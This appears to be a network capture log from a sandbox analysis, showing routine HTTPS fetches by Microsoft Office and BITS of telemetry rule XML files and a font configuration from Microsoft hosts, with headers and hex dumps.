2024-11-17 23:27:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:38 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e00571ae-f01e-0052-6cd2-379224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232738Z-1866b5c5fbbfkdfghC1DFW4sv400000003z000000000nx6g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:38 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49848	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:38 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-17 23:27:39 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=235026 Date: Sun, 17 Nov 2024 23:27:39 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-17 23:27:39 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:39 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:39 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:39 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5906632b-401e-005b-378d-369c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232739Z-164f84587bfrrmqdhC1DFWvu6s00000003g000000000pzk2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:39 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:39 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:39 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:39 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 2374d1b0-301e-0020-6d09-376299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232739Z-16547b76f7fw2955hC1DFWsptc00000005k0000000002vdt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:39 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:39 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:39 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:39 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 1573d8a3-d01e-002b-769d-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232739Z-16547b76f7ftnm6xhC1DFW9c8c00000004q00000000018ga x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:39 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:39 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:39 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:39 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 70401fc9-201e-003c-2e89-3830f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232739Z-16547b76f7fffb7lhC1DFWdsxg000000051g00000000pkt7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 23:27:39 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:39 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:39 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:39 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 555572e6-d01e-00a1-5509-3735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232739Z-16547b76f7fsq6p7hC1DFWfx6800000003h00000000016n0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:39 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:40 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:40 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 9fe5a23c-201e-0051-74ab-367340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232740Z-1866b5c5fbblmztchC1DFWs6v400000003mg000000004ph0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:40 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:40 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:40 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:40 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: bb729275-001e-0014-2109-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232740Z-16547b76f7fhv4d5hC1DFW7h0n000000037000000000tqnc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:40 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:40 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:40 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:40 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: cfc1385c-801e-0083-58d2-37f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232740Z-16547b76f7fmcv27hC1DFWgpcg00000003ug000000005f5c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:40 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:40 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:40 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 4f7b6165-401e-0078-36c3-374d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232740Z-16547b76f7fhv4d5hC1DFW7h0n00000003bg000000009g9x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:40 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:40 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:40 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: bdfc7973-a01e-0050-44c4-37db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232740Z-1866b5c5fbblmqrkhC1DFWf9ns0000000340000000007yq3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:40 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:41 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
